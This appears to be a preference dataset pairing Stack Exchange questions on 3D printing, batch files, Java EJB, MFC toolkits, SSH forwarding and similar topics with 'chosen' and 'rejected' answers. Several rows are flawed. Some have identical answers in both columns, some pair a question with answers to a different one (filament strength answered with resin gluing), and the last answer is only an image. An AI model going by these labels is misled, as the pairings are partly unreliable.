instruction
stringlengths 27
22.5k
| chosen
stringlengths 27
28.2k
| rejected
stringlengths 19
24.9k
| __index_level_0__
int64 0
10k
|
|---|---|---|---|
<p>PTFE tubes are typically delivered coiled up. And because they are quite stiff, they always want to spring back to their original curvy shape, making them harder to route properly.</p>
<p>Is there a way to straighten them out?</p>
|
<p>I just plugged the ends of tube and soaked it in real warm water for 5 minutes then stretched it out on a table. That helped then the hard part I spooling it up against the arch and soaked it again. This seem to work the best. </p>
|
<p>I just plugged the ends of tube and soaked it in real warm water for 5 minutes then stretched it out on a table. That helped then the hard part I spooling it up against the arch and soaked it again. This seem to work the best. </p>
| 487
|
<p>How can I split long commands over multiple lines in a batch file?</p>
|
<p>You can break up long lines with the caret <code>^</code> as long as you remember that the caret and the newline following it are completely removed. So, if there should be a space where you're breaking the line, include a space. <em>(<a href="https://stackoverflow.com/a/21000752/157247">More on that below.</a>)</em></p>
<p>Example:</p>
<pre><code>copy file1.txt file2.txt
</code></pre>
<p>would be written as:</p>
<pre><code>copy file1.txt^
file2.txt
</code></pre>
|
<p>Though the carret will be preferable way to do this here's one more approach using macro that constructs a command by the passed arguments:</p>
<pre><code>@echo off
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
set "{{=setlocal enableDelayedExpansion&for %%a in (" & set "}}="::end::" ) do if "%%~a" neq "::end::" (set command=!command! %%a) else (call !command! & endlocal)"
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
%{{%
echo
"command"
written
on a
few lines
%}}%
</code></pre>
<p>command is easier to read without the carets but using special symbols e.g. brackets,redirection and so on will break it. So you can this for more simpler cases. Though you can still enclose parameters in double quotes</p>
| 9,452
|
<p>I first want to say <strong>thank you</strong> for taking the time to read this. I've been trying to print out some parts for another project of mine. These parts use up around 70% of the bed so they are fairly large, unlike the smaller trinkets and things I normally print.</p>
<p>However, I have yet been able to print one of these larger parts without any layer shifting. The part I've been trying to print is a lid to the bottom of a case. It's square, with rounded corners, about 160mm x 160mm.</p>
<p>It will print the first layer without shifting most of the time. However, upon starting the second layer it will almost have at least one layer shift. I have tried a number of things to remedy this, which I will list further down this post.</p>
<p>The layer shifting seems to be unrelated to jerk, acceleration, bed shifting, and z offset at the very least. There is an audible clunk sound that can be heard when it does this. In the image I've linked, you can see the correct path of the print head through the green arrows. However, upon a layer shift, it follows the path of the red arrows. It never shifts during a direction change, only when it is following a straight path. It's almost as if one of the motors gives up for a second. I am aware the print is under extruded, this is one of my trials hoping it was merely the nozzle clipping against the print.</p>
<p><a href="https://i.stack.imgur.com/ltqzA.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ltqzA.jpg" alt="enter image description here" /></a></p>
<p>Allow me to share with you my setup:</p>
<ul>
<li><p>I have an Ender 3 V2, with the stock mainboard, stock glass bed, and stock hotend.</p>
</li>
<li><p>I've replaced the extruder assembly with an all-metal one from Creality.</p>
</li>
<li><p>I have the stiffer bed springs. As well as the better PTFE tube fittings and Capricorn tubes.</p>
</li>
<li><p>I've put together a cooling pack on Thingiverse. <a href="https://www.thingiverse.com/thing:4644985" rel="nofollow noreferrer">https://www.thingiverse.com/thing:4644985</a> The mainboard and hotend fans were replaced with Noctua performance fans that I'll talk more about later.</p>
</li>
<li><p>The hotend assembly is a hero me gen 5 with dual 4010 fans and a BLTouch.</p>
</li>
<li><p>I'm using Smith3D's 5x5 high-speed firmware (Previously the 4x4 high speed).</p>
</li>
</ul>
<hr />
<p>Now let me share my tried solutions.</p>
<ul>
<li><p>I firstly, disassembled the printer, checking all belt teeth and motor gears (which are pressed onto their shafts without a grub screw). Afterward, I readjusted all eccentric nuts to get the perfect amount of tension while maintaining smooth operation on both X and Y axes. I've used brake cleaner and dish soap to remove the grease on the Z-axis lead screw and replaced it with WD-40 dry lubricant.</p>
</li>
<li><p>Continuing, I've releveled the bed and checked all axis operation to ensure it was smooth and without any bumps, hitches, or anything of the sort.</p>
</li>
</ul>
<ol>
<li><p>I tightened all the frame screws, hotend screws, fan screws, grub screws. Nothing moves even a millimeter.</p>
</li>
<li><p>The belts were tensioned so that they can be strummed like a guitar string when I move either the hotend or bed to its end stop.</p>
</li>
<li><p>I checked my aftermarket fans to ensure they are working. The mainboard and hotend fan run nonstop at their optimal 12V. The PSU fan turns on and off as it needs to cool the PSU...</p>
</li>
<li><p>The cables are nicely managed in the mainboard compartment and I'm sure that the larger fans provide it plenty of airflow. Not to mention the printer was raised by the use of squash-ball feet.</p>
</li>
<li><p>I have slowed my print speed from 75mm/s to 60mm/s with this print. This means a 30mm/s inner/outer wall along with 60mm/s infill speed and 150mm/s travel speed. Acceleration and jerk are at their defaults: 500mm/s^2 and 10mm/s.</p>
</li>
<li><p>I've adjusted my Z offset so that it slightly under extrudes to prevent the filament from bunching up.</p>
</li>
<li><p>I've calibrated my e steps.</p>
</li>
<li><p>I've formatted the SD card and changed my firmware from Smith 3D's 4x4 high speed to 5x5 high speed.</p>
</li>
<li><p>I've updated Cura to the latest version 4.8 and ensured my hero me home offset is correct.</p>
</li>
<li><p>I've tried moving the model to different corners in Cura and ensured the software's jerk and acceleration control are disabled.</p>
</li>
<li><p>I've checked the bed movement with its clips, it doesn't move easily and both clips have very good tension.</p>
</li>
<li><p>I've checked the stepper driver voltages (I did not change them). E: 1.34V Z: 1.16V Y: 0.99V X: 1.15V.</p>
</li>
<li><p>I have Z hop enabled with a 0.2mm hop, no issues or noises when it moves across the print.</p>
</li>
<li><p>I've purchased a filament dry-box from SUNLU along with a new spool of SUNLU black filament. The dry box has Capricorn PTFE tubing that leads the filament straight into the extruder. There is very little friction inside the tube.</p>
</li>
<li><p>I've slightly tightened the tension on the extruder although I didn't have problems with it skipping.</p>
</li>
</ol>
<hr />
<p>Again, I'd like to reiterate, nothing is loose on this printer, it doesn't skip when it rapidly changes directions, only when following either a straight or diagonal line. The printer movement is very smooth and near-silent with all of my modifications. It's frustrating to me that I can't solve this problem. I feel like the printer has a mind of its own. I have begun to suspect either the mainboard or something else hardware related is amiss. However, I have chosen not to mess with it until posting this. If you've read through this, <strong>I thank you for your patience and time reading it</strong>.</p>
<hr />
<p>Any advice or possible causes to this problem are welcomed. I am at a complete loss and am desperate for a solution.</p>
|
<p>You mentioned a noticeable 'clunk' when it shifts, are you sure it isn't a physical obstruction? You said you checked that all axis run smoothly but are you sure you checked the full extents of the printable area?</p>
<p>Watch carefully when the issue happens, are any of the cables getting snagged on the machine or surrounding workspace? Check under the bed in particular, I've noticed on my Ender 3 V2 the bed will sometimes bump into part of the base if the leveling screws are tightened too far.</p>
|
<p>Not sure if you're still actively working on this but my setup mirrors yours almost perfectly, I added an all metal extruder, Micro Swiss hotend, a BLTouch, yellow bed springs and Capricorn tube and got great results but needed more cooling so I changed to the Hero Me Gen 5 using 2 5015 blowers and a Noctua 40x20 fan with a buck converter set to 12 V and noticed I had shifting so I printed 35 mm standoffs and wired another Noctua fan, 80x25. It helped reduce shifting but still not perfect and I as well has combed through every possible issue.</p>
| 1,825
|
<p>Do you have any advice/rules on selecting a multiplier to use in a (multiplicative) hash function. The function is computing the hash value of a string.</p>
|
<p>You want to use something that is relatively prime to the size of your set. That way, when you loop around, you won't end up on the same numbers you just tried.</p>
|
<p>Historically 33 seems like a popular choice, and it tends to work pretty well. No one knows why though. For more details, <a href="http://www.cse.yorku.ca/~oz/hash.html" rel="nofollow noreferrer">look here</a></p>
| 3,757
|
<p>My Anet A8 reads as 120ish degrees Celsius, but it is set to 200 degrees. I don't know if it is reading the wrong temperature because it still pushes out plastic when I force it. It will climb up and then go back down. I don't know if the hot end it broke or if the thermistor is broke.</p>
|
<h2>You are sitting on a fire risk!</h2>
<p>If you are using the stock/original firmware, you should <em><strong>immediately stop printing</strong></em>. The stock firmware of the Anet A8 has no <a href="https://3dprinting.stackexchange.com/questions/8466/what-is-thermal-runaway-protection">thermal runaway protection</a> (<em>see also <a href="/a/6953/">this answer</a></em>), this means it will keep heating until the thermistor senses 200 °C, even if it cannot do that for some reason or another.</p>
<p>When a hotend temperature does not read the correct value, your thermistor in the hotend may not be making correct contact (as you say that it goes up and down). Please ensure that the thermistor is correctly positioned, it makes good contact and the wires correctly fastened.</p>
<p>Similarly applies to the heater cartridge, which can fall out and causing a fire if not properly fastened. Ensure the heater cartridge is properly positioned and held in the heater block.</p>
<p>Fluctuations in temperature sometimes are induced by a wrongly positioned fan duct (but generally not that much). The reason why this is not the case here is that you can still push the filament through while it reads about 120 °C; <em>this temperature is generally too low to push filament through</em>. Apparently the hotend is still hot enough to push filament through while registering a low temperature.</p>
|
<p>Without any other information, the highest odds are that the fan is blowing on the hot end. If the temp drops when the fan is on, and rises when the fan is off, then simply re-position the fan nozzle. If that's not the problem, check the thermistor. If that's not it, check the termination (tighten the screws) of the hot-end wires at the control board.</p>
<p>Next, check the control board. If there's any indication that it's the board, one potential solution is to add a MOSFET (<a href="https://3dprint.wiki/reprap/electronics/heatbed_mosfet" rel="nofollow noreferrer">see the link</a>). Even if the control board isn't the problem, I would add the MOSFET.</p>
| 1,247
|
<p>Can you convert a 3D printer to a laser engraver?</p>
<p>If so is there a specific thing I have to buy?</p>
|
<p>Yes, one can convert a 3D printer into a Laser Engraver, and it isn't even all that problematic.</p>
<ul>
<li>You'd need to acquire a laser diode. These are usually not available with a lot of power - certainly not the hundreds of Watts that come from a proper CO2 laser - but depending on your printer, it might be pretty much a bolt-on addon.
<ul>
<li>The conversion isn't <em>too</em> invasive, and takes much less time than building a printer from a set. <a href="https://all3dp.com/2/ender-3-laser-engraver-upgrade-all-you-need-to-know/" rel="noreferrer">All3D</a> converted an Ender-3 to have a laser within less than an hour. In their step-by-step guide, they wired it into the 5V part cooling fan port of their printer. Whatever laser diode you choose, the setup will be similar, as long as your diode works with 5 Volt power.</li>
</ul>
</li>
<li>Once installed on the physical side, you will need to prepare your prints with a different "Slicer" that uses the commands for the fan speed as powers for the laser:
<ul>
<li><a href="https://marlinfw.org/docs/gcode/M107.html" rel="noreferrer"><code>M106 S</code></a> sets the power to S, where S is a number from 0 to 255 ; Without an S value, it turns on to the last setting (if turned off via <code>M107</code>)</li>
<li><a href="https://marlinfw.org/docs/gcode/M107.html" rel="noreferrer"><code>M107</code></a> turns off the laser.</li>
</ul>
</li>
</ul>
<p>One such slicer would be <a href="https://forums.creality3dofficial.com/download/software/" rel="noreferrer">Creality Workshop</a>, which would work with any Marlin-run printer, as long as you use the fan as the diode's power source.</p>
|
<p>Probably a laser... and a mount for the laser. Then connect its power supply to be switched by the extruder supply/signal. Also, there would be no need for any Z-axis movement, beyond setting the correct height of the laser device.</p>
<p>However, unless you are handy with DIY, messing about with microcontrollers and electronics, modifying firmware and have experience in making your own 3D printer, then it is probably easier to just buy a ready built engraver.</p>
<hr />
<p>That said, and after reading Trish's (more technically detailed and accurate) answer, it probably isn't all that daunting to accomplish. In addition, if you <em>already</em> have a printer, then a modification would be cheaper than buying a whole new unit.</p>
<p>Here is a handy video tutorial, which shows how easy it, in fact, is: <a href="https://www.youtube.com/watch?v=hEk3aVARSGc" rel="nofollow noreferrer">3D printer to laser engraver for under $60</a></p>
<p><div class="youtube-embed"><div>
<iframe width="640px" height="395px" src="https://www.youtube.com/embed/hEk3aVARSGc?start=0"></iframe>
</div></div></p>
<blockquote>
<p>This unit was tested on the Creality Ender 5, but the plug should work for any Creality printer like the Ender 3 and CR-10</p>
</blockquote>
<p>This modification also uses the <em>part cooling fan</em> to control the laser and there is no need to remove the extruder - the laser attaches itself by the use of magnets to the extruder. So you can have a <em>dual-purpose printer</em> without that much fuss at all.</p>
<p>The website used to generate the G-code is <a href="http://nebarnix.com/img2gco/" rel="nofollow noreferrer">http://nebarnix.com/img2gco/</a>, and it takes a simple image file as input. The settings recommended by the video are as follows:</p>
<blockquote>
<p><a href="https://i.stack.imgur.com/D72Iz.png" rel="nofollow noreferrer" title="Generating the G-code for the laser"><img src="https://i.stack.imgur.com/D72Iz.png" alt="Generating the G-code for the laser" title="Generating the G-code for the laser" /></a></p>
</blockquote>
<p>Note: As pointed out in the video, the minimum power should <strong>not</strong> be zero as this turns off the laser, thereby incurring a delay upon restart. Setting the power to a sufficiently low level - so as not to burn - is preferable, i.e. 10.</p>
| 2,043
|
<p>Suppose you have the following EJB 3 interfaces/classes:</p>
<pre><code>public interface Repository<E>
{
public void delete(E entity);
}
public abstract class AbstractRepository<E> implements Repository<E>
{
public void delete(E entity){
//...
}
}
public interface FooRepository<Foo>
{
//other methods
}
@Local(FooRepository.class)
@Stateless
public class FooRepositoryImpl extends
AbstractRepository<Foo> implements FooRepository
{
@Override
public void delete(Foo entity){
//do something before deleting the entity
super.delete(entity);
}
//other methods
}
</code></pre>
<p>And then another bean that accesses the <code>FooRepository</code> bean :</p>
<pre><code>//...
@EJB
private FooRepository fooRepository;
public void someMethod(Foo foo)
{
fooRepository.delete(foo);
}
//...
</code></pre>
<p>However, the overriding method is never executed when the delete method of the <code>FooRepository</code> bean is called. Instead, only the implementation of the delete method that is defined in <code>AbstractRepository</code> is executed. </p>
<p>What am I doing wrong or is it simply a limitation of Java/EJB 3 that generics and inheritance don't play well together yet ?</p>
|
<p>I tried it with a pojo and it seems to work. I had to modify your code a bit.
I think your interfaces were a bit off, but I'm not sure.</p>
<p>I assumed "Foo" was a concrete type, but if not I can do some more testing for you.</p>
<p>I just wrote a main method to test this.
I hope this helps!</p>
<pre><code>public static void main(String[] args){
FooRepository fooRepository = new FooRepositoryImpl();
fooRepository.delete(new Foo("Bar"));
}
public class Foo
{
private String value;
public Foo(String inValue){
super();
value = inValue;
}
public String toString(){
return value;
}
}
public interface Repository<E>
{
public void delete(E entity);
}
public interface FooRepository extends Repository<Foo>
{
//other methods
}
public class AbstractRespository<E> implements Repository<E>
{
public void delete(E entity){
System.out.println("Delete-" + entity.toString());
}
}
public class FooRepositoryImpl extends AbstractRespository<Foo> implements FooRepository
{
@Override
public void delete(Foo entity){
//do something before deleting the entity
System.out.println("something before");
super.delete(entity);
}
}
</code></pre>
|
<p>Can you write a unit test against your FooRepository class just using it as a POJO. If that works as expected then I'm not familiar with any reason why it would function differently inside a container.</p>
<p>I suspect there is something else going on and it will probably be easier to debug if you test it as a POJO.</p>
| 3,559
|
<p>There must be a trick to doing a good job of applying Kapton tape on a printer bed plate…</p>
<p>We built a Bukobot and even with a great deal of care ended up with bubbles under the tape and occasional overlaps. I'd appreciate any pointers.</p>
|
<p>There are several things you could try without spending much but even PLA will warp on an unheated bed. I had a Legacy Kossel that I switched to an acrylic bed and had many issues with warping and prints pulling off the bed. </p>
<p>Some cheap things to try would be...</p>
<ol>
<li>Adding a brim to the print.</li>
<li>Blue painters tape on the acrylic, remove the other material if doing this.</li>
<li>Place cheap piece of glass/mirror on bed and use hairspray/gluestick.</li>
<li>Use hairspray/gluestick directly on acrylic. You must be careful here because first layer height is very critical to prevent damage to the acrylic from the plastic welding. A layer of hairspray or glue should prevent it but dial in your height before printing.</li>
<li>If you aren't currently using a fan, you could try sealing the sides to prevent drafts. I doubt this would change much since you are using PLA but it's an option.</li>
<li>If these are your designs, there are steps you can take to reduce warping as seen <a href="http://hackaday.com/2011/11/15/a-technique-to-avoid-warping-on-large-3d-prints/">here.</a></li>
</ol>
<p>Also many other suggestions <a href="http://www.makerbot.com/blog/2011/06/23/12-ways-to-fight-warping-and-curling">here.</a></p>
|
<p>Try a dilute solution of PVA glue (approx. 5:1 water:PVA) applied to the bed or the BuildTak like sheet and allowed to dry.
Keep the ambient temperature as high as possible (but not so high as to soften any plastic on the printer obviously).
Big brims help - consider adding them to the model rather than just applying them in the slicer. I've used 12 mm by 0.5 mm deep circles to good effect, particularly on acutely angled parts of the model or the extremities.</p>
| 148
|
<p>We have a collection of commercial MFC/C++ applications which we sell using <a href="http://www.roguewave.com/products/stingray.php" rel="nofollow noreferrer">Stingray Objective Toolkit</a>, we have source code license and have ported it in the past to Solaris/IRIX/HP-UX/AIX using <a href="http://en.wikipedia.org/wiki/Bristol_Technology_Inc." rel="nofollow noreferrer">Bristol Technologies WindU</a> (Windows API on UNIX, including MFC). </p>
<p>Any long story short recently about 18 months ago we ported Stingray to Win64, but a long a tedious task, during this time I did some research on commercial and open source alternative MFC extension libraries things like <a href="http://www.codeproject.com/KB/MFC/UltimateToolbox.aspx" rel="nofollow noreferrer">Ultimate Toolbox</a> and <a href="http://www.prof-uis.com/" rel="nofollow noreferrer">Prof-UIS</a>.</p>
<ul>
<li>Has anyone else used Stingray and moved to an alternative? </li>
<li>If so which one would you suggest? </li>
<li>What were the main perils of the move?</li>
</ul>
|
<p>Yes, we haved moved away from Stingray. It depends on what Stingray components you are using. For the grid control, you can use the free MFC gridcontrol from www.codeproject.com or the commercial one from <a href="http://www.bcgsoft.com/" rel="nofollow noreferrer">http://www.bcgsoft.com/</a>. The free one is OK but development has stalled, so no modern UI rendering etc.</p>
<p>The 'layout editor' Stingray component can be replaced by the one from bcgsoft.com, but I don't have experience with that - we rewrote the functionality we needed from that on our own (it was only a subset of what Stingray provided).</p>
<p>As for alternative MFC toolboxes, I suggest bcgsoft because part of their toolbox is in the Visual Studio Feature Pack so it's free and fits very well with VS. I have looked at Ultimate Toolbox (stay away from it, stale code that isn't updated anymore) and Prof-UIs (OK but I found it not so easy to integrate).</p>
<p>Now that BCG is part of the 'official' MFC I don't see a reason to choose something else than BCG (except for maybe the cost, if you need a free alternative you can look at codeproject).</p>
|
<p>I have been using Stingray for last eight years or so, and have looked at moving off it a couple of times. So far, I've decided against, principally because I have ported a version to Windows CE & Mobile and don't see much else giving the same solution on this platform. While Stingray isn't perfect, they have now got a 64bit version, and it's a pretty stable product.</p>
<p>What I am doing, is replacing the very weak areas of Stingray, such as the XML support, with alternatives. In this case I went with <a href="http://expat.sourceforge.net/" rel="nofollow noreferrer">Expat</a> for performance reasons. </p>
<p>The perils of moving? You could go from something stable but old fashioned to pretty but flakey ;) In my case, I would also kill a fair number of my automated test scripts that work at GUI level.</p>
<p><strong>Edit:</strong> Just to add a bit to the above, I moved from VS2003 to VS2008 this week and at the same time Objective Studio 2006 v2 to Objective Studio 10.1. The transition was pretty seamless, with one minor glitch that was promptly handled by RogueWave tech support. Even this would have gone unnoticed if we didn't have a very extensive GUI regression test suite. IMO, Stingray is a very mature, well supported, feature rich and most importantly stable product. I for won't be moving of it any time soon without very good reason.</p>
| 9,649
|
<p>I have a small local network. Only one of the machines is available to the outside world (this is not easily changeable). I'd like to be able to set it up such that ssh requests that don't come in on the standard port go to another machine. Is this possible? If so, how?</p>
<p>Oh and all of these machines are running either Ubuntu or OS X. </p>
|
<p>Another way to go would be to use ssh tunneling (which happens on the client side).</p>
<p>You'd do an ssh command like this:</p>
<pre><code>ssh -L 8022:myinsideserver:22 paul@myoutsideserver
</code></pre>
<p>That connects you to the machine that's accessible from the outside (myoutsideserver) and creates a tunnel through that ssh connection to port 22 (the standard ssh port) on the server that's only accessible from the inside.</p>
<p>Then you'd do another ssh command like this (leaving the first one still connected):</p>
<pre><code>ssh -p 8022 paul@localhost
</code></pre>
<p>That connection to port 8022 on your localhost will then get tunneled through the first ssh connection taking you over myinsideserver.
</p>
<p>There may be something you have to do on myoutsideserver to allow forwarding of the ssh port. I'm double-checking that now.</p>
<p><strong>Edit</strong></p>
<p>Hmmm. The ssh manpage says this: **Only the superuser can forward privileged ports. **</p>
<p><strike>That sort of implies to me that the first ssh connection has to be as root. Maybe somebody else can clarify that.</strike></p>
<p>It looks like superuser privileges aren't required as long as the forwarded port <strong><em>(in this case, 8022)</em></strong> isn't a privileged port (like 22). Thanks for the clarification <a href="https://stackoverflow.com/questions/45230/is-it-possible-to-forward-ssh-requests-that-come-in-over-a-certain-port-to-anot#45254">Mike Stone</a>.</p>
|
<p>You can use Port Fowarding to do this. Take a look here:</p>
<p><a href="http://portforward.com/help/portforwarding.htm" rel="nofollow noreferrer">http://portforward.com/help/portforwarding.htm</a></p>
<p>There are instructions on how to set up your router to port forward request on this page:</p>
<p><a href="http://www.portforward.com/english/routers/port_forwarding/routerindex.htm" rel="nofollow noreferrer">http://www.portforward.com/english/routers/port_forwarding/routerindex.htm</a></p>
| 6,705
|
<p>Following advice I read elsewhere, I have covered my (heated) print bed with blue painter's tape, and before each print I apply an Elmer's purple washable glue stick to improve bed adhesion.</p>
<p>After the print finishes and I remove the part from the bed, the bottom is covered with a white residue. I'm fairly certain this is the dried glue. It turns purple again when I wet it.</p>
<p>Is there an easy way to clean off this residue, or is there a better technique?</p>
<p><a href="https://i.stack.imgur.com/bizFY.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bizFY.jpg" alt="example part with residue"></a></p>
|
<p>Elmer's Purple Gluestick is pretty much based on PVA with a water-indicator. It is a water-soluble material. Tossing the piece into a water bin and brushing it with a toothbrush should remove everything.</p>
|
<p>I have two different makes of masking tape. The print stick so well to one of them that I end up ripping the tape up to get it off and the bottom of the print has the tape suck to it. The other roll was the complete opposite, nothing would stick to it. I ended up using the non-stick tape and applied a diluted (30% PVA - 70% water) glue to the (tape covered) hot bed. Works wonderfully.</p>
<p>Mike.</p>
| 1,293
|
<p>I have an html file with an unordered list. I want to show the list items horizontally but still keep the bullets. No matter what I try, whenever I set the style to inline to meet the horizontal requirement I can't get the bullets to display.</p>
|
<p>The best option I saw in other answers was to use <code>float:left;</code>. Unfortunately, it doesn't work in IE7 which is a requirement here<sup>*</sup> — you still lose the bullet. I'm not really keen on using a background image either.</p>
<p>What I'm gonna do instead (that no one else suggested, hence the self-answer) is go with manually adding <code>&bull;</code> to the my html, rather than styling this. It's less than ideal, but it's the most compatible option I found. </p>
<hr>
<p><em><strong>edit</strong>: <sup>*</sup>Current readers take note of the original post date. IE7 is unlikely to be a concern anymore.</em></p>
|
<p>You can use following code</p>
<pre class="lang-css prettyprint-override"><code>li {
background-image: url(img.gif) no-repeat center left;
padding-left: 20px;
display: inline;
}
</code></pre>
| 5,463
|
<p>In the Full .NET framework you can use the Color.FromArgb() method to create a new color with alpha blending, like this:</p>
<pre><code>Color blended = Color.FromArgb(alpha, color);
</code></pre>
<p>or</p>
<pre><code>Color blended = Color.FromArgb(alpha, red, green , blue);
</code></pre>
<p>However in the Compact Framework (2.0 specifically), neither of those methods are available, you only get:</p>
<pre><code>Color.FromArgb(int red, int green, int blue);
</code></pre>
<p>and</p>
<pre><code>Color.FromArgb(int val);
</code></pre>
<p>The first one, obviously, doesn't even let you enter an alpha value, but the documentation for the latter shows that "val" is a 32bit ARGB value (as 0xAARRGGBB as opposed to the standard 24bit 0xRRGGBB), so it would make sense that you could just build the ARGB value and pass it to the function. I tried this with the following:</p>
<pre><code>private Color FromARGB(byte alpha, byte red, byte green, byte blue)
{
int val = (alpha << 24) | (red << 16) | (green << 8) | blue;
return Color.FromArgb(val);
}
</code></pre>
<p>But no matter what I do, the alpha blending never works, the resulting color always as full opacity, even when setting the alpha value to 0.</p>
<p>Has anyone gotten this to work on the Compact Framework?</p>
|
<p>Apparently, it's not quite that simple, but <a href="http://blogs.msdn.com/chrislorton/archive/2006/04/07/570649.aspx" rel="nofollow noreferrer">still possible</a>, if you have Windows Mobile 5.0 or newer.</p>
|
<blockquote>
<p>Apparently, it's not quite that
simple, but still possible, if you
have Windows Mobile 5.0 or newer.</p>
</blockquote>
<p>Wow...definitely not worth it if I have to put all that code in (and do native interop!)
Good to know though, thanks for the link.</p>
| 3,533
|
<p>The <a href="http://www.cvsnt.org/manual/html/commit-files.html#syntax" rel="nofollow noreferrer">cvsnt manual</a> provides a detailed list of parameters than can be passed to the postcommand module, but none of them specify the file name.</p>
<p>Is anybody aware of an option not listed here that would provide the name of the file being checked in?</p>
<p>ColinYounger - The %c command is just the command, e.g. "Commit"</p>
|
<p>The answer (thanks to an answer to a different question by <a href="https://stackoverflow.com/questions/86515/does-anyone-know-the-cvs-command-line-options-to-get-the-details-of-the-last-ch#213003">Sally</a>) is to not use the postcommand file, but use the <a href="http://ximbiot.com/cvs/manual/cvs-1.11.23/cvs_18.html#SEC186" rel="nofollow noreferrer">loginfo file</a> and provide the arguments ‘%{s}’</p>
|
<p>Doesn't the %c parameter pass in the command issued (including the files being committed)?</p>
| 3,690
|
<p>There are numerous libraries providing Linq capabilities to C# code interacting with a MySql database. Which one of them is the most stable and usable on Mono?</p>
<p>Background (mostly irrelevant): I have a simple C# (.Net 2.0) program updating values in a MySql database. It is executed nightly via a cron job and runs on a Pentium 3 450Mhz, Linux + Mono. I want to rewrite it using Linq (.Net 3.5) mostly as an exercise (I have not yet used Linq).</p>
|
<p>The only (free) linq provider for MySql is <a href="http://code2code.net/DB_Linq/" rel="nofollow noreferrer">DbLinq</a>, and I believe it is a long way from production-ready.</p>
<p>There is also <a href="http://www.devart.com/mysqlnet/" rel="nofollow noreferrer">MyDirect.Net</a> which is commercial, but I have heard mixed reviews of it's capability.</p>
<p>I've read that MySql will be implementing the Linq to Entities API for the 5.3 version of the .net connector, but I don't know if there's even a timeline for that. In fact, MySql has been totally silent about Entity Framework support for months.</p>
<hr>
<p>Addendum: The latest release of the MySql Connector/Net 6.0 has support for the EF according to the release notes. I have no idea how stable/useful this is, so I'd love to hear from anybody who have tried it.</p>
|
<p>at this time you cannot use linq to sql, you might look into a third party linq mysql provider or linq to entities. linq to sql only works for sql server databases.</p>
| 6,364
|
<p>App needs to run on the .Net Compact Framework v.3.5. Video can be any format, but I do need to be able to know when it's finished playing, so I can start another one.</p>
<p>I'm hoping for a method that doesn't involve unmanaged code, if possible.</p>
|
<p>You need to embed it using ActiveX Hosting. There is an <a href="http://msdn.microsoft.com/en-us/library/aa446515.aspx" rel="nofollow noreferrer">MSDN tutorial</a> on it (note there is a <a href="http://blog.opennetcf.com/ctacke/2008/08/14/BugInMSDNActiveXHostingCode.aspx" rel="nofollow noreferrer">bug in the MS-published code</a>). If you want a more friendly way, then OpenNETCF has a <a href="http://www.opennetcf.com/Products/Controls/MediaPlayerControls/tabid/264/Default.aspx" rel="nofollow noreferrer">commercial control</a> for it as well.</p>
|
<p>Silverlight is coming to windows mobile 6, its in super elite beta right now, maybe get in on that action.</p>
| 8,183
|
<p>I'm looking for a filament that is strong, doesn't crack and doesn't break easily and is impact resistant. I'm currently using PLA and it's strong, but, I'm looking for something that doesn't snap or break when dropped.</p>
|
<p>You can definitely use glue - however you can also brush some of the liquid resin along the edges of the two pieces, push them together and cure them, this will fuse them together.</p>
<p>You don't need much, and you need to watch for drip out while curing (don't your fingers in it)</p>
|
<p>You can definitely use glue - however you can also brush some of the liquid resin along the edges of the two pieces, push them together and cure them, this will fuse them together.</p>
<p>You don't need much, and you need to watch for drip out while curing (don't your fingers in it)</p>
| 1,731
|
<p>VMware ESX, ESXi, and VirtualCenter are supposed to be able to support HTTP PUT uploads since version 3.5. I know how to do downloads, that's easy. I've never done PUT before.</p>
<p>Background information on the topic is here: <a href="http://communities.vmware.com/thread/117504" rel="nofollow noreferrer">http://communities.vmware.com/thread/117504</a></p>
|
<p>In the <a href="http://www.codeplex.com/vitoolkitextensions" rel="nofollow noreferrer">VI Toolkit Extensions</a> use Copy-TkeDatastoreFile. It will work with binaries.</p>
|
<p>You should have a look at the <code>Send-PoshCode</code> function in the <a href="http://PoshCode.org/" rel="nofollow noreferrer">PoshCode</a> cmdlets script module ... it uses a POST, not a PUT, but the technique is practically identical. I don't have PUT server I can think of to test against, but basically, set your $url and your $data, and do something like:</p>
<pre><code>param($url,$data,$filename,[switch]$quiet)
$request = [System.Net.WebRequest]::Create($url)
$data = [Text.Encoding]::UTF8.GetBytes( $data )
## Be careful to set your content type appropriately...
## This is what you're going to SEND THEM
$request.ContentType = 'text/xml;charset="utf-8"' # "application/json"; # "application/x-www-form-urlencoded";
## This is what you expect back
$request.Accept = "text/xml" # "application/json";
$request.ContentLength = $data.Length
$request.Method = "PUT"
## If you need Credentials ...
# $request.Credentials = (Get-Credential).GetNetworkCredential()
$put = new-object IO.StreamWriter $request.GetRequestStream()
$put.Write($data,0,$data.Length)
$put.Flush()
$put.Close()
## This is the "simple" way ...
# $reader = new-object IO.StreamReader $request.GetResponse().GetResponseStream() ##,[Text.Encoding]::UTF8
# write-output $reader.ReadToEnd()
# $reader.Close()
## But there's code in PoshCode.psm1 for doing a progress bar, something like ....
$res = $request.GetResponse();
if($res.StatusCode -eq 200) {
[int]$goal = $res.ContentLength
$reader = $res.GetResponseStream()
if($fileName) {
$writer = new-object System.IO.FileStream $fileName, "Create"
}
[byte[]]$buffer = new-object byte[] 4096
[int]$total = [int]$count = 0
do
{
$count = $reader.Read($buffer, 0, $buffer.Length);
if($fileName) {
$writer.Write($buffer, 0, $count);
} else {
$output += $encoding.GetString($buffer,0,$count)
}
if(!$quiet) {
$total += $count
if($goal -gt 0) {
Write-Progress "Downloading $url" "Saving $total of $goal" -id 0 -percentComplete (($total/$goal)*100)
} else {
Write-Progress "Downloading $url" "Saving $total bytes..." -id 0
}
}
} while ($count -gt 0)
$reader.Close()
if($fileName) {
$writer.Flush()
$writer.Close()
} else {
$output
}
}
$res.Close();
</code></pre>
| 9,151
|
<p>I'm trying to create web applications that use JavaScript. I'd like to be able to use animation in these applications. I've tried to use basic JavaScript, but I've decided that the best thing to do is to use a library (such as <a href="http://en.wikipedia.org/wiki/Yahoo!_UI_Library" rel="nofollow noreferrer">YUI</a> or jQuery).</p>
<p>I'm running into a problem. On Safari, when I run animation scripts, the animation is very chunky, very blocky. This happens with YUI as well as basic JavaScript. Why does this happen? Are there any good libraries that don't create this problem in Safari, but are also good for Internet Explorer and Firefox (and, hopefully, Opera)?</p>
|
